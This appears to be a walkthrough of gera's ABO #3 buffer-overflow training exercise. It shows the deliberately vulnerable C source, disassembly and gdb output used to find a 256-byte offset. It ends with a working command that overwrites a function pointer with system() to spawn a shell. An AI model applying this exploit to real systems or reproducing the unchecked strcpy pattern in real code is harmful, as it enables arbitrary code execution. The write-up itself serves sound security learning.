This exercise is compiled on Debian 2.6.32 with NX and ASLR enabled. However, those
protections do not effect the difficulty of the exercise. Exploiting this challenge could have been performed with or without those protections.
ABO #3 source code:
/* abo3.c *
* specially crafted to feed your brain by gera */
/* This'll prepare you for The Next Step */
int main(int argv,char **argc) {
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;
char buf[256];
fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
fn(argc[2]);
exit(1);
}
It may seem that a straight-forward buffer overflow is possible; however, this is not the case due to exit(). The exercise takes two user arguments. The binary will display the second user argument using puts(). Exploiting this challenge requires the need to overwrite a function pointer to avoid the exit() “restriction.” If the function pointer fn is overwritten with the address to system(), the second argument will be used as system()’s argument.
lixor@debian:~/InsecureProgramming/abo3$ ./abo3 AAAA BBBB
BBBB
The functions puts() and system() are compiled into the binary. Since the function pointers (puts()/system()) are declared (extern), the pointers to system() and puts() can be found in the disassemble during assignment or from within gdb.
Modified output of objdump -M intel -d abo3. The full dump can be found here
..snip..
8048480: c7 84 24 1c 01 00 00 mov DWORD PTR [esp+0x11c],0x8048364
8048487: 64 83 04 08
804848b: c7 84 24 1c 01 00 00 mov DWORD PTR [esp+0x11c],0x8048394
8048492: 94 83 04 08
..snip...
In the snippet above, the instructions are assigning system and puts to fn. The addresses 0x8048364 and 0x8048394 are system() and puts(), respectively. When you look at the source code, the function pointer fn was assigned two values; first assigned to system() followed by puts().
The next issue is to determine the offset between buf and fn.
This is a modified output of gdb (using mammon_’s .gdbinit) while stepping through the binary.
lixor@debian:~/InsecureProgramming/abo3$ gdb -q --args ./abo3 AAAA BBBB
..snip (stepped through program until function pointer is called)..
_______________________________________________________________________________
eax:BFFFF669 ebx:B7FCCFF4 ecx:00000000 edx:00000005 eflags:00200282
esi:00000000 edi:00000000 esp:BFFFF300 ebp:BFFFF428 eip:080484B9
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[007B:BFFFF300]---------------------------------------------------------[stack]
BFFFF330 : CA 00 00 00 06 00 00 00 - 78 F3 FF BF C4 ED E8 B7 ........x.......
BFFFF320 : 00 60 FE B7 24 F5 FF B7 - 00 00 00 00 33 00 00 00 .`..$.......3...
BFFFF310 : 9C F3 FF BF C6 BF FE B7 - F4 EF FF B7 41 41 41 41 ............AAAA
BFFFF300 : 69 F6 FF BF 64 F6 FF BF - B8 EB E8 B7 01 00 00 00 i...d...........
[007B:BFFFF669]---------------------------------------------------------[ data]
BFFFF669 : 42 42 42 42 00 4F 52 42 - 49 54 5F 53 4F 43 4B 45 BBBB.ORBIT_SOCKE
BFFFF679 : 54 44 49 52 3D 2F 74 6D - 70 2F 6F 72 62 69 74 2D TDIR=/tmp/orbit-
[0073:080484B9]---------------------------------------------------------[ code]
0x80484b9 <main+69>: mov 0x11c(%esp),%eax
0x80484c0 <main+76>: call *%eax
0x80484c2 <main+78>: movl $0x1,(%esp)
0x80484c9 <main+85>: call 0x80483a4 <exit@plt>
0x80484ce: nop
0x80484cf: nop
------------------------------------------------------------------------------
0x080484b9 in main ()
gdb> x/10x $esp
0xbffff300: 0xbffff669 0xbffff664 0xb7e8ebb8 0x00000001
0xbffff310: 0xbffff39c 0xb7febfc6 0xb7ffeff4 0x41414141
0xbffff320: 0xb7fe6000 0xb7fff524
gdb> x/x $esp+0x11c
0xbffff41c: 0x08048394
gdb> x/i 0x08048394
0x8048394 <puts@plt>: jmp *0x8049698
gdb> p/d $esp+0x11c - 0xbffff31c
$1 = 256
In the above gdb output, 0x41414141 can be seen and indicates the location of the controlled string. Before the call to eax, eax is loaded with the address of puts at $esp+0x11c. Simple mathematics will show that only 256 bytes is needed to the overwrite the function pointer fn.
lixor@debian:~/InsecureProgramming/abo3$ ./abo3 $(ruby -e 'print "A"*256 +"\x64\x83\x04\x08"') /bin/sh
$